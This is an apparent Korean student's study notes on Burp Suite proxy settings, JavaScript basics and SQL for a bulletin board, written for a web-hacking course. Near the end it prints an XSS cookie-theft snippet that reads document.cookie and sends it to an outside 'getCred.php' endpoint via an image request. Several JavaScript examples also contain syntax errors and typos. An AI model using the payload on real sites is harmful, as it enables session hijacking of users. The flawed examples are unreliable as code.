본문 바로가기

개념정리

4주차 Burp Suite REQUEST/RESPONSE 게시판

 

4주차 Burp Suite  게시판


Burp Suite
- Web Proxy Tool
- 중간자 역할 웹서버와 클라이언트사이에 오고가는 패킷을 캐치라고 전달한다
- Proxy | Repeater | Decorder | Comparer

 
-> Next -> usedefault burf -> start
 


 
PROXY
- 통신하는 패킷을 하나하나 직접 보고 중간에서 데이터를 고칠 수 있다
- 다른 서버의 통신을 내 서버를 거쳐가게 할 수 있다. 어떤 응답과 통신 하는지 알수있다 앱 해킹할때 용이  
 


 
PROXY Listener
- Proxy tool 웹서버와 클라이언트의 데이터통신의 전달자! 대신해주는 역할
- Listener가 대신 통신하는 역할이고 프록시의 핵심이다!
- Proxy 없으면 웹서버 <-> 클라이언트 | Proxy 있으면 웹서버 <-> 리스너 <-> 클라이언트 로 통신

-> Proxy
   -> Intercept | HTTP history | WebSockets history | Proxy settings
      -> Proxy settings 
            -> 왼쪽 라인에 All -> Tools -> proxy -> proxy listener -> add 
            서버에서 정보 전달받으려면 귀를 열고있어야하니까 proxy 리스너를 생성해준다.
                 -> Bind to port 포트번호는 마음대로 설정해도 된다.
                 -> Loopback only | All interfaces | Specific address 
                     Loopback only 내컴퓨터와 웹서버에서만 패킷을 볼 때
                     All interfaces 모든 다른클라이언트와 서버의 통신을 볼 때 내 컴퓨터를 통해서 패킷을 전달하고 보려고 
                    Specific address 특정한 아이피의 통신을 볼때 
                    그대신 웹사이트도 프록시가 켜져있어야 한다
 
 
PROXY Intercept
- 프록시의 정보를 Intercept한다 
- 프록시 패킷을 멈추고 캐치해서 웹서버에 전달하는 것을 막고 볼 수 있다.
-> Proxy 
    -> Proxy Intercept
        -> Forward | Drop | Intercept is on/off | Action | Open browser
            Forward 패킷전송
            Drop 패킷전송 중지
            Intercept is on/off 패킷 캐치후 변조또는 확인

                -> 프록시로 값을 변조해서 넣을 때 띄어쓰기는 +로 대체해서 사용한다

                -> html 코드를 보고싶을때는 우측클릭 -> Do intercept -> Response to this request

                -> method 를 바꾸고싶을 때는 우측클릭 -> Change request method

 

            Action ?
           Open browser 인터넷 설정에서 프록시 세팅 필요 없이 해당 browser proxy 가능
                                   그러나 백신세팅할때는 따로 프록시 세팅 해야한다 
 
PROXY HTTP history
- 버프받은 데이터 요청들이 쌓여있는 것을 보여준다.
- 데이터를 주고받는 과정을 순서대로 볼 수 있다.
- 로그인 과정을 분석하고 싶을때 사용가능
-> PROXY 
    -> HTTP history   
        -> Request | Response
            -> Request 
                http protocol 뒤에  web method post/get 등 데이터를 보낼 양식에 맞추어서 보냄.
               그다음에 출력되어있는게 헤더 헤더에서는 cookie를 찾는게 중요하다.
                Response
                응답헤더 date/server/content-length 등
                응답헤더 다음줄은 빈줄
                빈줄 다음은 body 순으로 출력
 


 
REPEATER
- 같은 값을 임의로 바꿔서 서버로 보내진 값을 확인 할 수 있다.
 
DECODER
- 인코딩, 디코딩 할 수 있다 암호화, 복호화 가능 
-> Decoder
    ->  오른쪽 Decoder as | Incoder as 로 설정
 
COMPARER
- 코드의 바뀐부분 찾기
-> Comparer
    -> Paste
        -> Words
            -> Sync views
 
++

Burf Suite 설정


버프 한글설정.
프록시설정
-> user
    -> user interface
        -> inspecter and message editor
            ->http message display 한글글꼴
            -> character sets user the flatform defalut utf-8
 


- http를 쓰려고해서 생기는 오류 
-> Proxy
    -> Proxy settings
        -> All -> Tools -> Proxy
            -> Response midification rules -> Convert HTTPS links to HTTP 체크박스 체크
-> Proxy
    -> Intercept -> Request ~~~ 우측클릭
        -> Use HTTPS 체크박스 해제 -> OK
 
-response수정하기
-> Proxy
    -> Proxy settings
        -> All -> Tools -> Proxy
            -> Response intercept rules -> Add
                -> Boolean operater : And
                -> Match type : HTTP method
                -> Match relationship : Matches
                -> Match condition : (get|post) -> get으로 변경
            -> Enabled 체크박스 체크
-> Proxy
    ->  Intercept 
        -> Raw -> 오른쪽 클릭 
            -> Do intercept -> Response to this request -> Forward 누르면 response나온다
 
 
- 리피터의 달라진 부분 보기
-> Repeater 
    -> Request / Response 좌측 하단 톱니바퀴버튼 클릭
        -> Auto-scroll to match when text changes 체크박스 체크
 


 
JAVASCRIPT
 
ALERT
- 팝업 출력
EX)

<html>
<script>alert("출력하고싶은 값");</script>
</html>

VAR/LET
- 변수설정
- 숫자는 그냥, 문자열은 따옴표' ' 붙여준다
EX)

<script>
var a = 123;
let b = 123;
var c = 'test';
let d = 'test';
</script>

CONST
- 상수설정 
- 값을 다시 변경시킬 수 없다
EX)

<script>
const a = 123;
a = 'test'; // Error
</script>

CONSOLE.LOG/ALERT/PROMPT/CONFIRM
-변수 출력
EX)

<script>
let data = "test";  //data=test로 변수설정
console.log(data); //콘솔에 출력
alert(data); //경고창에 출력
prompt(data); //입력창에 출력해서 입력값 받
confirm(data); //확인창에 출력해서 확인여부 값 받음
</script>

 
IF/ELSE
- 조건문 IF문 안의 조건이 참일때 안의 내용이 실행된다
EX)

<script>
let data = 'test'; //data = test 변수설정
if(data == 'test') {  //data와  test 값이 같을때 Console.log로 Same 출력
   console.log("Same");
}else{  //data와 test 값이 같지 않을때  console.log로 Not Same 출력
   console.log("Not Same");
}
</script>

FOR 
- 조건이 만족하면 반복 조건이 만족하지 않을때까지 
EX)

<script>
for(var i = 0; i < 10; i ++ {  // i=0부터 시작해서 반복할때마다 i가 1씩 증가하고 그 값을 출 i=10보다 커지면 멈춘다.
console.log(i);
}
</script>

 


FOR OF
- 정의된 변수 배열의 처음부터 끝까지 반복
EX)

<script>
let arr = ['1'. '2', '3']; //배열 1 2 3 선택
for(let element of arr) {  //elment값을 1 2 3순으로 대입하며 colsole.log 출력 반복
   console.log(elment);
}
</script>

FOR IN
- 정의된 key 와 value를 따로 저장하고 이를 차례대로 값을 넣어 반복
EX)

<script>
let info = {name:"normaltic", score:"100", userid:"normaltic"} //info 에 key : value를 저장
for(let key in info){ console.log(key + " : " + info[key]); }
// 저 값을 차례대로 할당하면서 key : info[key] 순으로 출력된다
//key 는 key 값 name,score,userid info[key]값은 value값 normaltic, 100, normaltic
</script>

 
결과값)
name: "normaltic"
score: "100"
userid: "normaltic" 로 출력


document.cookie
-쿠키값 가져오기
- Hijack Session ID
- 세션아이디라는 쿠키 탈취
EX)

<script>
var cookieData = document.cookie; //쿠키데이터 cookiedata라는 변수에 저장
</script>

XMLHttpRequest();
-데이터 보내기

<script>
const Http = new XMLHttpRequest();
const url = 'https://normaltic.com/test.php'; 
Http.open('GET', url); //normaltic.com/test.php 이라는 url에서 get요청가져오기
Http.send(); //보내기
Http.onreadystatechange = (e) => { //readyState가 변경되면
console.log(Http.responseText); //콘솔에 응답데이터 출력
};
</script>

 


new Image().src
-쿠키데이터 넣어서 보내기
 

<script>
var cookieData = document.cookie; //쿠키데이터 탈취
var attackURL = "http://normaltic.com/getCred.php?cookie=";
new Image().src = attackURL + cookieData; //탈취한 쿠키코드를 url에 넣어서 이미지를 동적으로 로
</script>

게시판 구현
- 게시판에 글작성 : insert 문을 사용한다 
- 게시판 글 리스트 보기 : select
- 게시판 글 내용 읽기 : select
- 게시판 글 수정 : update마이페이지 정보수정
- 게시판 글 삭제 : delete
 
게시판의 페이징(페이지네이션)
- 목록 전체를 구현하지 않고 1-8 처럼 일부만 출력된다.
- limit 사용
EX)

select * from board limit 0,10

-> select * from board limit 0,10 0번째부터 10개까지가져오기
-> limit [index], [count]
 
게시글 검색 

select * from board where title like '%normaltic%'

-> select * from board where title like 'normaltic'  정확한 normaltic이라는 단어 그자체가 들어간걸 찾는다
-> %normaltic%를 쓰면 저글자가 들어간! nnnormalticccccc까지 찾음
-> %normaltix nnnnnnnnnnnnnormaltic 찾음
-> normaltic% normalticcccccccccccccc 찾음
 
게시글 오름차/내림차 
-> order by [column이름 [asv(오름차)/desc[내림차] 지정할수있다